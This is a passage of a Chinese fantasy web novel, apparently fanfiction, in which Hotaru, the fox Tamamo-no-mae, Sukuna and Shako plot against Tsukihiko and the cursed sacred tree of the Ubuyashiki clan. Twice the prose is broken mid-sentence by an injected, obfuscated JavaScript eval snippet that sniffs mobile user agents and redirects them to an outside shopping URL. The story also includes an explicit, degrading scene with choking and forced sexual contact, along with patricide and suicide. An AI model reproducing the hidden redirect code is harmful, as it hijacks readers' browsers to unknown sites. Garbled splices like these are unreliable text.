产屋敷家主并未制止这样对一个仆人来说颇为越界的行为,反而对舍子非常赞赏,并赠与她一把上等弓箭。 “是了,如果舍子也是产屋敷家主的亲生子,那么这一切就说得通了。” 不过...为什么要大费周章地隐藏身份呢? 玉藻前陷入沉思,根据他从前混迹在后宅里的经验和贵族们的变态程度来看——这老头肯定有什么非分之想! “或许,产屋敷家主想让他的女儿逃脱圣树的诅咒。”萤舒展开紧皱的眉头。 这让还没来得及开口的狐狸君咳嗽几声,他连忙点头,“没错,我也是这么想的。” 还好,还好没有暴露他是个脑袋肮脏、思想较为下流的事实。 狐狸君松了口气。 萤抬头看着他,双眼中闪烁着无法忽视的光彩,“我要去见她,我相信,她绝对是那个最重要的人。” 她指的是谁,自然是那位舍子。 虽然月彦少爷最近的病况起起伏伏,对她的掌控也变松了许多,但依旧有无数仆从在暗中监视着她,一举一动都会报告给月彦少爷。 想要从这里出去简直就是天方夜谭,完全没有可能。 萤不傻,她早已为自己定制了一套标准的流程,每天都差不多干那几件无聊事情,所以想要仿照不露馅也很简单。 摇着八重扇的狐狸君显然不那么乐意,他的话语中带着酸酸的味道:“既然你要去找最重要的人,那还要我这只没用的妖怪做什么...哼。” 他玉藻前是只大妖怪,可不是呼之即来挥之即去的便宜玩意儿。 “你吃醋了?” “怎么可能?!我这种大妖怪怎么会为了你这种人类吃醋?!” 嗓门儿忽然拔高,配合上他那副欲盖弥彰的表情,一瞧就是说反话。 好吧,就算他真的吃醋,那这个人类也应该说点儿好听的话来哄哄他吧。 狐狸尾巴又悄悄露了出来,缠着萤的脚踝,暗中勾搭。 见他这副模样,萤点点头,“好啊,那应当是我看错了,你没吃醋。” 在傲娇狐狸即将炸毛的前一刻,一颗又酸又甜的果子塞到他口中。 玉藻前下意识嚼了嚼,是梅子。 “梅子熟了,我觉得该给你留下几颗。”萤从口袋里拿出几颗梅子,摊开手,递到对方面前。 表情诚恳又自然,眉眼弯弯,双眸里倒映着自己的模样,就好像全世界中她只注视你一人。在这样的目光里,没人会舍得拒绝她。 于是,平日里只喜欢金银珠宝的狐狸君——勉强收下这几颗干干瘪瘪的梅子,他才不喜欢呢,只是勉强给这人类一个面子。 “那就拜托你了,替我伪装一天就好。”萤说:“如果有什么突发情况,你要先保护好自己。” “哼,怎么可能会有人类能伤害我这个大妖怪。” 被眼前这个人类强制缔结契约的事他是只字不提,不过也可能是记性不好。 谁知道呢。 反正我们伟大的狐狸君已经被狡猾人类哄得不知天南地北,只怕被人卖了还要帮人数钱。 萤慢悠悠摇晃着折扇,遮掩住那略带讽刺意味的笑容。 夜深了, 烛火被吹灭, 缩在角落里纵观全局的小怪物盯着人类的睡颜,他回想起自己所看见的一切,心中充斥着几分说不清的情绪——那几颗梅子分明是他摘来送给人类的。 “你不高兴吗?” 人类沐浴着月光走到他身边,声音轻柔到像是易碎的泡沫。 他不明白高兴是什么,不过此时却意外觉得自己应该是【不高兴】。 他摇摇头,从嗓子里发出呜咽呜咽的嘶吼声。 人类的手轻轻抚摸着他的头发,可他觉得这不够,他还想要更多。 于是便主动昂起下巴,搭在那只手上。 他皱起眉,努力表达自己此时的感受:“我...难...受。” 人类似乎被他这样滑稽的举动逗笑,反问:“你哪里难受呢?” 哪里难受?他怎么会知道...全身上下都很不舒服,明明身上早已没了跳蚤,也没了蛆虫,可就是很难受。 脸很烫,胸腔发出悲鸣,他不知道该怎么办—— 一口咬住了人类的那只手,他没用太大力气,只是不停用牙齿磨研着,想要将自己的气味全部都涂抹在人类的身上。 唾液滴答滴答落在木枝地板,他的脸连同耳朵一同红了起来,浑身都燥热难耐,不停向人类的方向凑过去,想要获得一丝清凉。 可只能被无情踢开。 “你是不是发情期到了,嗯?”人类抽回了湿漉漉的手,用力踩在他身上,看着小腹以下被衣服遮挡着的莫名起伏。 什么是发情期? 小怪物不知道,他只觉得自己难受到要死掉了。 人类并没有向他解答这个词语的含义,只是伸脚狠狠踩住了那个敏感部位,然后缓缓扭动了脚踝。 他这下真的是连呜咽都说不出口了,大脑只剩下一片空白,眼前闪过道道奇异的光芒,蜷缩着身子颤抖了许久才稍稍缓过来一些。 眼角渗出生理性泪水,这是他生平第二次哭,第一次是为了母亲,没想到第二次会经历如此耻辱的场景。 但...身体和心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16018100|175711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理都在诉说着难以表达的愉悦。 他觉得不那么难受,抓住人类还在作乱的脚踝,狠狠咬了下去。 血水混合着他的泪水一同滚落,他再次被狠狠扇了一巴掌,人类掐住他的下巴,表情冷酷到近乎冻结, “你还真是爱犯贱啊,我的两面宿傩大人。” 小怪物知道人类在说着他的名字,也知道人类恨不得他去死,可这又有什么关系,他只是一只野兽,一只曾被视为发泄品的玩物。 当人类斩断那条锁链、并决心要把他也变成人类时—— 他们就注定会融为一体,永远无法分开。 人类嗤笑一声, 那双手掐住了他的脖颈,毫不犹豫地掠夺他的所有呼吸。 如此残暴的动作中,人类将一颗梅子放入口中,然后咬住了小怪物的唇,将那颗梅子一点点嚼碎了、揉烂了送进去。 酸涩甜腻的滋味在两人口中蔓延开,于此同时,呼吸愈发急促。 黏腻的汗水与唾液勾勾搭搭,连接着杂乱打结的长发,夜里高叫不止的求偶蝉鸣也盖不住轰鸣的心跳,锁链叮铃作响。 在近乎窒息与死亡的边界线,他忽然感觉到梅子的清香与无法遮掩的快感。 脖颈上的手收了回去,人类重新恢复成那副高高在上的模样,看着他宛若死狗般颤抖的狼狈模样。 “记住了,这就是高兴,只有我能赐予你这种高兴。” 月亮被乌云遮盖, 万物都遁入无边际的黑暗, 直至黎明的第一束光芒照进屋内, 他睁开眼,人类正跪坐在不远处梳理那头漆黑长发。 听到动静后的人类回过头,微微皱眉说道:“你昨天夜里说了很多梦话,我用梅子堵住了你的嘴。” 梦? 是梦吗? 他吐出口中的梅子果核,这种时候,是不是梦似乎都不太重要了。 当野兽产生某种具象化的欲望时,那么也就意味着它离成为一个人类不远了,这是个无可争议的事实。 ... 萤依旧披着那副狐狸君制作的皮囊出了庭院,她对于整个产屋敷家族的院子有一定了解,不过自然是不如勤勤恳恳找了一个月消息的狐狸君。 手里握着一张简易地图,她思索着该如何在众多仆役中找到那位舍子。 不过根据狐狸君的线索,平日下值停留在射箭场的那人就应该是她了。 日暮西斜, 萤蹲守在射箭场的门口,这是每个大家族都设有的场地,一是为了娱乐,二是为了锻炼子嗣的能力,显然产屋敷家族并不打算在武道上拔得头筹,这里除去日常看护的杂役外再无他人。 没过一会儿,听得利箭破刃之声。 一把箭划过天空,射中一只飞雁,然后直直降落,恰好落在了萤的面前。 她低下头,正要弯腰将这死得透透的飞雁捡起,有道声音从身后响起。 “抱歉,没有吓到你吧。” 萤回过头,看见了一位那着弓箭的少女。 黑色长发用洁白色丝带绑成服贴的马尾样式,皮肤白皙,上白下红的巫女服式穿搭,微微下垂的漆黑眼眸中夹杂着无法言说的惆怅。 她站得挺直,坚定又落寞,就好像她生来就是为了完成某个庞大又悲凉的使命。 毫无疑问,这就是舍子。 在萤看见她的第一眼就知道了。 当舍子看见萤的第一眼时果断举起了弓箭,质问道:“你究竟是谁。” 舍子看出萤身上的皮囊并非真实所有,她想到了妖怪,想到那些咒灵,手中的弓箭绷得愈发紧。 然后,眼前这个不明身份的家伙向后撤退几步,条理清晰地表达来意,并慢慢脱下那曾皮囊,露出了内里的真我。 这才算是舍子真正看见萤的第一眼。 和自己同样的黑发黑眸,惨白脸颊上有着可爱的雀斑,她笑起来时会微微眯起眼睛,整个人有种特别的存在感,如果说风有形状,那么毫不怀疑就会是她的模样。 这是个生于自由,并渴望着自由的少女,和这里格格不入。 舍子愣神片刻,她依旧没有放下弓箭。 仅凭借那些模糊不清、没有证据的理由是不可能彻底打消她心中的怀疑。 直到她听见对方说出那个产屋服家族不可说的禁忌。 ——圣树,我想和你谈谈这个。 少女笑着歪了歪头,眼波流转间带有魅惑人心的可怕力量。 舍子思索几秒后收回了弓箭,她盯着对方,问道:“你的名字,以及你是从何处得知关于圣树的事情?” “萤,我叫萤。”少女朝她迈进一步,无视弓箭的威胁凑到她耳边轻声说:“因为月彦少爷啊,我要杀了他,所以...舍子桑,我需要你帮我呀。” “你为什么要杀了月彦君。” 舍子看着这位名叫萤的少女,她心中思索着原因,爱情、上一辈的恩怨、还是别的什么?以及,对方显然是有备而来,知晓她的名字和背后那层隐秘关系。 “喏。” 少女掀开遮挡小腿的衣袖,那刺眼的伤疤预示着在她身上究竟发生了什么。 舍子蹲下身,轻轻抚摸过那已经结痂的狰狞伤口,她垂眸轻叹,“很痛吧。” “很痛啊,差点儿就要痛到死掉然后被丢去当花肥欸。” 特意压低的声音听起来可怜极了,少女抽了抽鼻子,眼眶唰一下就红了起来,控诉着那位月彦少爷的种种恶劣行为。 舍子默不作声,从袖口递过去一条手帕,耐心倾听着对方积攒已久的伤口。 说完了,眼泪也将那条手帕打湿,萤把帕子揣进自己兜里,拽着舍子的衣袖,语气坚定: “所以,你要帮我,你不能坐视不管,看着那么多无辜的人死在这里,死在月彦少爷的花园里。” “......我帮你,这是我本应该做的事情。” 舍子背着那把弓箭,回眸看着这座古老辉煌的建筑,事实上,她从出生起就已经肩负起这个使命。 ... 那是在两百年前出现的一则预言: 在百年过后,产屋敷家族会出生一对双生子,其中一位会摧毁产屋敷的一切,那是从前那位妖怪国度姬君的转世,她注定会亲手杀死圣树,彻彻底底,再不留任何一点根系。 这则预言出现后的相当长一段时间里,产屋敷家族的历任家主都陷入了恐慌,不过相安无事百年之后,所有人都选择性遗忘掉这个不着边际的预言。 毕竟,产屋敷家族历来只会先诞下男丁,然后由他来承担诅咒的力量。 直到两百年后,满怀期待的产屋敷家主迎来了他的第一位长子......和一个女儿。 当他看着那个女儿时,他便知道预言成真了。 本想偷偷将这婴儿掐死,女婴忽然伸手抓住了他的手指,暖糯又可爱,像她母亲,并全身心都信赖着父亲,即便他们才刚刚认识不久。 他退缩了, 枯坐一夜后决定将知道这个消息的仆从全部处死, 就当产屋敷家只有那位长子,预言应该就不会生效吧。 于是,他给女婴取名为——舍子。 是曼珠沙华的别名,同样也是产屋敷家族的标志,希望那预言仅仅是杜撰的假消息。 再然后,舍子便被一对仆从收养,成为了他们的女儿,虽然一直养在产屋敷,但两人几乎见不上几面。 舍子也自然不知她所背负的使命。 一切都在三年前发生了变化, 那一年,舍子在射箭场碰见了产屋敷家主,并被赐予了一把据说异常昂贵的弓箭。 那把弓箭流传了数百年之久,却未有一丝一毫的损坏。 在舍子摸到弓箭的一刹那, 她看见了属于自己的使命,以及那颗生生不息的圣树。 29.第 29 章 “你要怎么杀了那棵树?” “用你的弓箭?” “你有没有亲眼见过圣树的样子,它会像是怪异杂谈里所说的那些妖怪,那种长着许多人脸的恐怖模样吗?” 名叫萤的少女,有许多许多千奇百怪的问题,叽叽喳喳地询问着,澄澈双眸里渗出柔和的水雾,像是只刚刚放出笼子的小鸟,恨不得把所有疑惑抖落干净。 或许是同为女性身份的缘故,她允许自己泄露出一点儿脆弱又恶劣的本性,整个人都放松了身心。 舍子走在前面,步伐迈得很快,萤两三步跟着小跑,这才算是勉强追上。 按照年龄来看,她们二人应该差得不多。 可萤从小就在野外流浪,过着食不果腹的野人生活。虽然近来也长了些个子,不过依旧看起来瘦瘦小小,一副营养不良的可怜模样。 “那个……麻烦你慢一点,我跟不上。”萤喘了几口气,拽住舍子的衣袖,直到两人步调一致后,才有心思继续问道:“为什么不回答一下我的问题呢,我真的很好奇。” 舍子顿住脚步,她点点头,握住背后那把弓箭,轻声说:“我从三年前就开始调查关于契约的事情。” “欸,你有什么发现吗?” 轻而易举就被调转了话题。 “嗯,答案就藏在眼前。”舍子指向前方建筑。 ——正是月彦少爷的庭院,被称为整个产屋敷家族的死寂之地。 舍子的声音很低,伸手抚摸着围墙上的点点斑斓,她看向若有所思的萤,继续道:“我无法进入这里,所以调查也在此处中断,不过我不会骗你,因为……这是家主大人无意说出的事实。” 如果萤的目标仅是那些契约,那么由她去解救无辜仆从的命运就再好不过了。 之后,舍子会亲手点燃火焰,将罪孽洗清。 在家主大人赐予她那把弓箭时,一切就已尘埃落定,又或者,在家主大人决定放下那只掐死婴孩的双手那一刻,一切就都已注定会如此。 她一直在等待着合适的时机, 看见萤的第一眼,舍子清楚知晓这缠绕数千年的诅咒与树根就要彻底消散瓦解。 她对过往一切遭遇不幸的人们感到悲哀,同样也对误闯入这里的鸟儿感到难过。 “我很抱歉,你本不应被囚禁于此。” 也不应被人折断羽翼,当作某种任人观赏的珍贵玩物。 这是一句没头没尾的奇怪道歉,心领神会的萤笑了笑,回了句:“虽然我确实需要一个道歉,但这不应该由你说出口。而且,我感觉到了,你身上担负着的沉重使命。” 像是位悲悯的殉道者。 萤自然是不知晓对方究竟为什么会如此轻易答应帮助自己,也不知晓对方身上所谓的使命从何而来,她只知道,这是一个不会说谎的人。 她们之间存在某种特殊引力, 相处起来不算太坏。 当然啦,要说完全信任那也是绝不可能的,两人都有所隐瞒。毕竟谁会对一个仅有一面之缘的陌生人全盘托出呢,她们都是再聪明不过的人了。 萤重新穿上那副皮囊,伪装成仆从的模样走回月彦少爷的院落。 即将远行前,她回过头,向站在原地的舍子挥了挥手,她说:“谢谢你,再见了。” 舍子抿了抿唇,她用气声回道:“再见。” 这是第一次相遇,同样也是最后一次。 能看见这样自由的鸟儿展翅高飞,是她的荣幸。 她握紧背后的弓箭,静默伫立,头顶一闪而过黑色乌鸦飞行的轨迹。抬起头,等待,等待着数千年的使命落幕。 … 阴湿角落里结满了蜘蛛网,昆虫落在了网上,被蜘蛛丝缠绕成一圈又一圈,最后彻底无法动弹。 野兽会把宝物埋藏在土里,人类会把珍宝锁进盒子,自然的财富被海水所淹没。 所以——月彦少爷会把珍贵生命藏在何处呢? 还请好好想一想,这个难题。 …… “我倒是从未想到这一点。” 玉藻前皱着眉,按照惯性思维,这种足以称之为家族命脉的事物都应放置在家主手里才对。 他花费整整一个月的时间,几乎搜遍了除月彦少爷院子的所有角落,到头来东西就藏在眼皮底下。 这算什么?越危险的地方就越是安全这句话还真是不无道理。 坐在对面的萤手中正拿着一本书,当然,对于一个文盲来说,她看得自然是那种全部都画有图案的闲书。 随意翻看两页后,抬眸看向陷入沉思的狐狸君,缓缓开口问道:“还记得你说的那个有关圣树的故事吗?” “自然记得,怎么了?” 萤放下书,指着书角的每一页,那里全都画有曼珠沙华的符号。 她若有所思地说:“这些花,有着死亡与腐朽的气息。” 产屋敷家族的家族符号即是曼珠沙华,而那位舍子,也取名为舍子花,曼珠沙华的别名。月彦少爷的花园里只有一种花,虽然颜色有些许差异,但品种完全可以确认为曼珠沙华。 这并非是一种巧合,而是刻意为之。 在玉藻前讲述的故事结尾——那位妖怪姬君站在城池上,回头看见了由大树根系缠绕而成的符号,也就是那个诅咒,蕴藏着世间最为恶毒的死亡诅咒。 萤眨了眨眼, 用指尖摩挲着书籍上已然褪色的艳红符号, “整个产屋敷家族就是圣树的延伸,他们已然成为其中的一部分。” 谁能想到呢,如此恐怖的诅咒就藏在身边,显而易见的每一处。 所以按照这个逻辑推理,那些契约会不会也隐藏在这座庭院里最明显的地方呢? 玉藻前显然不喜欢打哑谜,可对方只是笑眯眯歪了歪头,说什么——我相信聪明的狐狸君应该早就知道了答案。 聪明的狐狸君知道吗…?他怎么不知道。 把书夺了过来,仔细看着上面的图案,完全没什么特别,他在产屋敷的每个角落都可以看见这个标志。 这难道不是每个贵族的特色吗,选定一个自认为高雅的图案,然后像是标记领地般彰显自己的权威。 完全没什么特别的。 狡猾人类捡起他的八重扇,在手中把玩一会儿后才幽幽解密,“这个符号就是圣树的诅咒,我们正处于诅咒之中。” 若是再恐怖些,说不定他们的一举一动都在圣树的注视下,咦,想想看那还真是恶心呐。 玉藻前皱眉沉思片刻中总算是理解了对方话语中的意思,果然是满嘴谎言的人类,说什么事情都喜欢蒙上一层故弄玄虚的外纱,一点儿都没意思。 “笨狐狸,我这可是谨言慎行。” 萤将八重扇收起,用伞柄敲了敲狐狸的脑袋,当然,没用太大力气。 狐狸捂着微红的额头,还没反应过来究竟发生了什么。等等,他是不是被这个人类给骂了? 忽略即将发疯的玉藻前,萤把目光放在一旁缩在角落里的小怪物身上。 她招招手,“过来。” 小怪物迟疑几秒,站直身子走到萤的身边,规规矩矩跪坐在原地。那头本来毛躁的红色长发被扎成一个小啾啾,眼神称得上“纯良”,四肢胳膊隐藏在宽大和服下,削弱了大部分兽性,看起来和常人没什么区别。 见到此幕的狐狸也忘了自己刚刚的伤口,摸着下巴啧啧称奇,没想到短短几个月的时间就可以将一只野兽驯化成这个模样。 萤问:“我曾听一位仆人说过,你是被一位咒术师封印于此,对不对?” 小怪物听完后顺从地点了点头,他当然忘不掉那个咒术师的可恶嘴脸。 “那位咒术师说——这样低贱野蛮的东西,不配成为咒术师,对不对?” 这番话显然刺痛了小怪物的内心,他呲着牙,眼睛瞬间变得猩红,恨不得现在就把那个咒术师咬死。 一只手揉了揉他的脑袋,用极富安抚性的话语轻声劝慰道:“他们都该去死,不是吗?不过在这之前,你要帮我一件事,完成后你就彻底自由了。” 小怪物的锁链被再次斩断,仅残留脖颈上的铁圈,这就要留到他完成任务后再解开了。 看着消失于夜幕之中的小怪物,玉藻前皱了皱眉,他不明白萤为什么会做出这样的决定。 让一只野兽去寻找隐藏着的契约,怎么听都不大现实。 萤摇着折扇,笑容灿烂,她说:“让诅咒去寻找诅咒,不是刚刚好的事情吗,你觉得呢?” 现在终于可以用上这一步棋了。 啊啦,玉藻前忽然就明白这个人类为什么要大费周章地驯养一只听不懂人话的怪物,果然是一开始就已规划好的棋局,每一步都在她的掌控之中。 ——如此可怕。 那究竟还有什么是真的...狐狸君觉得自己受到了背叛。他平生最厌恶的就是被当作棋子随意使用,没想到在这个看似柔弱无辜的人类身上狠狠栽了好几次跟头。 可恨又狡猾的卑鄙人类。 狐狸尾巴蔫哒哒的,可以很好读懂主人现在那糟糕的心情。 “可唯有你是与众不同的。”萤眨了眨眼,嘴角微微勾起,把八重扇重新塞回对方手中,她真诚地说:“我想到了所有,却唯独没想到还会遇见你这样特殊的妖怪。” 这让本来闷闷不乐的狐狸君瞬间涨红了脸,尾巴上的毛都要炸开了,支支吾吾半天后果断逃走,十分没出息的蠢样子。 空旷房间里,独留坐在月色下的萤一人。 她合上画有曼珠沙华图案的泛黄书本,慢悠悠喝了杯热茶,心情颇为愉悦。 就快要结束了,这个无聊的梦。 一只误入此处的黑猫打翻了茶杯,喵喵几声后隐匿于阴影之中。 【玉藻前——目前任务进度95%】 【产屋敷舍子——目前进度90%】 【两面宿傩——目前任务进度80%】 【产无敷月彦——目前进度75%】 【森立之——目前进度60%】 【安倍晴明——目前进度100%】 意料之中的结果,所以说,妖怪可比人类要好得多,单纯易懂,比较可爱。 萤点燃一支檀香,静静等待着故事的终章。 算算看,与月彦少爷立下的三月之约也差不多要结束了,时间就在下个水曜日。 ... 不出意料,小怪物找到了存放契约的地方。 与想象中的答案差不多,藏在月彦少爷日日弹奏的宝贵和琴之中。 萤解开小怪物脖颈上最后一道束缚,她说:“你自由了,现在可以去报复那些曾伤害过你的每一个人类。” 小怪物歪了歪脑袋,显然是听懂了对方的话,转瞬间就消失在面前,估计是动用了所谓的咒术。 真是只养不熟的狼崽子。 几颗梅子果从屋外慢悠悠滚了进来,每一颗都有着小小的牙印,萤弯腰捡起其中一颗梅子。 她咬了一小口,很甜。 这算是什么,野兽的最后一点良知吗? 毫不犹豫地把剩下的梅子果扔了出去,看着与腐烂泥土融为一体的酸涩果实,她眉眼弯弯,笑得很开心,墨色的双眸里充满了嘲讽般的恶意。 那么现在,又到了给那位月彦少爷喂药的时间了。 起身整理好身上不带有一丝褶皱的纯白和服,她踩着嘎吱嘎吱响的木地板,慢慢穿过漆黑走廊,来到了月彦少爷的门前。 屋外已有仆人在等候她, 托盘上放着一碗药与一支汤匙,浅褐色的、散发着苦腥气味的药水在微微摇晃下晕开层层波澜。 托盘被她接了过去,仆人不敢抬头,就连气息也未有一丝一毫的变化。 “由我一人送进去即可。”姬君这样说道,声音里似乎夹杂着嘴甜腻的糖霜,听起来愉快极了。 “是。” 仆人自然是不敢质疑,迈着悄无声息的步伐站在走廊一侧,低垂着头,等待下一道指令的发出。 门被推开了, 微弱光芒照亮黑暗,可惜是仅一瞬的时间,一切再次恢复如常,仿佛什么都没发生过般寂静。 赤脚踩过木地板的轻响并未吵醒入睡的人, 昏暗屋内点燃许多根檀香,气味浓郁到近乎呛鼻。 她将托盘放在地上, 瓷器发出叮铃碰撞的清脆声音。 “晨安,月彦少爷。” 对方并未睁开眼,苍白脸颊上毫无血色,若不是胸脯前的微弱起伏,可能会让人误以为这是具死去多年的尸体。 她低声笑了笑,并不计较对方的失礼行为。拿起汤匙,一点点将药送进月彦少爷口中。 碗底还剩下一些药渣,被她随意倒进香炉之中,听得刺啦一声,白色灰烬随着融为空气中的粉尘。 那把蒙着厚布的和琴正搁置在角落里,月彦少爷这次的病太过严重,已经有许久没演奏过和琴。 她起身走到和琴旁,掀开那层沾染着灰尘的布,每一根琴弦依旧是银光闪闪的模样,在如此暗沉的地方显得格格不入。 想到什么后,她垂眸轻声说:“我很喜欢那首曲子,不过直到现在还不知晓曲谱的名字。” “原先的名字并不好听。” 月彦少爷睁开眼,似是鬼魅般来到她的身旁,纤细的双手揽过她的腰,附着在耳边。 犹如毒蛇吐芯般的嗓音:“不如改名为《萤》怎么样?我喜欢萤这个名字。” 怀里的人伸出指尖,随意弹了一根弦,发出——铮的一声。 打破刻意营造出的死寂。 她噗呲笑了出声,微微侧过头,和对方那双暗红色的双相对视。 呼吸出的热气纠缠不清,不轻易间划过冰凉的唇角,腰间的手掌愈发紧促。 徐徐燃烧的烟雾模糊了她的眉眼,似是一场朦胧的梦,她巧妙挣脱开束缚,跪坐在和琴旁。 漆黑长发披在雪白和服之后,白皙面容配上杏红色的温唇,带来无与伦比的视觉冲击。 眼眸里倒映着对方的模样,她说: “如果可以的话,能否请月彦君为我弹奏一首……萤呢?” 月彦君同样哀哀笑了笑,他回:“萤,这将会是我最喜欢的曲谱。” 双手放在琴弦上,敛住神情,眼眸低垂,此时的他才像是个真正的人类,在雾气中似是充满神秘气息的贵公子,捉摸不定。 一根弦开始颤动, 轻盈的乐声随之而来, 琴弦泛出阵阵色彩,描绘出绚烂似梦的春日,其中蕴藏着点点萤火星光,富有生机、短暂、热烈与美好的一切事物。 屋外的光尽数挥洒于他的指尖与裙摆,他知道有人注视着他,他同样也感知到这首乐谱的真正含义。 多么美好……多么鲜活的生命…… “月彦君,你可否为了美好的生灵赔罪呢?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……你都知道了吗。” 这时候再怎么否认都已无济于事,产屋敷家主仿佛瞬间苍老了数十岁,他佝偻着身子,被烟雾呛到后不停地咳嗽,一边咳一边摇头。 他不会说的,产屋敷家族的荣耀绝不会断送在他手中。 见此场景,舍子轻叹一声, 将地上已然窒息晕倒的月彦君抱起,她垂眸看着这个从未谋面的哥哥,同样也是圣树的祭品,以命换命的卑劣小偷。 “圣树就藏在他的心脏里,对不对?” 家主愣在原地,甚至于无法抑制的咳嗽都停了下来。 “父亲,你也曾听说过那个故事吧。” “妖怪国都的姬君射出最后一箭,将圣树点燃,一切都化为乌有。” “可你知道吗……那一箭并非是对着圣树,而是已经被污浊的国王啊。” “姬君亲手杀死了自己的父亲,其实那也早已不是她的父亲,仅仅是一个满脑子都是权势荣誉的怪物。” “但很可惜,她没想道自己也曾在不知不觉间被父亲喂下一块圣树的果实,所以这场惨烈的战争才延续至今。” 舍子抽出一支箭, “有多少无辜之人被卷入这场战争中,有多少可怜之人的姓名被你们视作随意丢弃的垃圾,又有多少本应拥有灿烂前途之人被你们折断了羽翼,囚禁在这小小的庭院里?” 金银、珠宝、权利、荣誉、地位——数百年来,他们贪婪成性,要得太多太多,同样也被圣树汲取了太多太多,变成现在这幅人不人鬼不鬼的样子。 多么可恶、可悲、又可恨的存在。 舍子将箭染上了火焰,毫不犹豫地刺入产屋敷月彦的心脏。 ——嘭的一声巨响 整个世界都安静了下来,好像进入了另一个充满幻觉的诡秘幻境, 一棵参天大树耸立在那颗逐渐停止跳动的心脏上,叶片从翠绿渐渐变得枯黄,无数道哭声萦绕在身旁。 幽灵般缠绕在舍子耳边,诉说着嘶哑难听的诅咒,它们露出尖牙,不停撕咬着她的身体,企图让她松开紧握箭柄的手。 很难形容这是一棵怎样的树, 粗大枝杆几乎可以延伸到天际,上面结着一个又一个晶莹剔透的果实,充满诱惑且触手可及。 可当果实转过脸,再仔细凝视着果实的纹路,会惊讶发现那竟然是一张张充满褶皱的人脸。 每张脸都是产屋敷家族的历任家主,以及身为祭品的长子。 他们死去后并没有经过轮回转世,而是化作了圣树的果实,永生永世都成为圣树的傀儡。 鬼魂们引诱着现任家主拔出利刃,杀死这个预言中的叛徒。 “不,舍子她不是那位姬君转世,她是我的女儿啊!” “别忘了,你身上的一切都是从何处而来,产屋敷家族的荣誉难道就要这么断送在你手中吗?” 鬼魂们发出阵阵质问,历任家主都冲到他的面前,包括他的父亲。 圣树伸出一小根枝桠,落在他的眼睛上,那道充满诱惑的声音传来—— 【杀了她,我会带领产屋敷走上更为辉煌的道路】 【杀了她,我会赐予你用不老去的生命】 【杀了她,我会让你成为新的神灵】 多么诱人的条件啊,这世上没有人可以抵抗住这种诱惑,像他这样的凡人怎么能说一句不呢? 只可惜利刃还未出鞘,一把燃烧着熊熊烈火的利剑就以穿透他的心脏。 舍子举着弓,脸上没有一丝愧疚,也对,她为什么要露出愧疚之情呢? “当您毫不犹豫杀死母亲的时候,您是否会想到她的女儿也会毫不犹豫地杀死你呢。” 嘴上说着什么爱啊、保护啊之类的话语,其实就是害怕自己会担上摧毁家族之父的责任。 杀死一个婴孩是多么简单的事情,可这样不就证实了他的懦弱。于是想要为了那不存在的脸面赌一把,赌那个预言只是假的,赌自己可以成功。 再然后,他下令杀死了仆从,以及刚刚生产完的妻子。 现在呢,他赌输了, 火焰毫不留情地吞噬着他的尸体, 舍子把产屋敷月彦的尸体推入火海,圣树的虚影也随之渐渐隐去。 她站在顶端,看着被火海包围的整个产屋敷家族,所有仆人都已逃了出去,还有那些无辜卷入其中的人们……这里将会是最后的终章。 她想, 千百年前的那位姬君看见这幅场景后是否也会觉得畅快? 那位姬君有没有掉下过泪水? 也有可能是在放声大笑,就像是她现在一样。 圣树的影子忽明忽暗,它还没有完全消失, 舍子举起弓箭,用倒数第二支箭射向了树根, 用最后一支箭刺向自己的心脏。 ——啪嗒 ——世界再次恢复清晰 ——一切都结束了,持续千百年的使命终于结束 …… 萤睁开眼,她还被禁锢在怪物大人的怀中,阳光洒在脸上,暖洋洋的。 她好像做了一场盛大恢弘的梦。 梦究竟是什么? 记不起来了。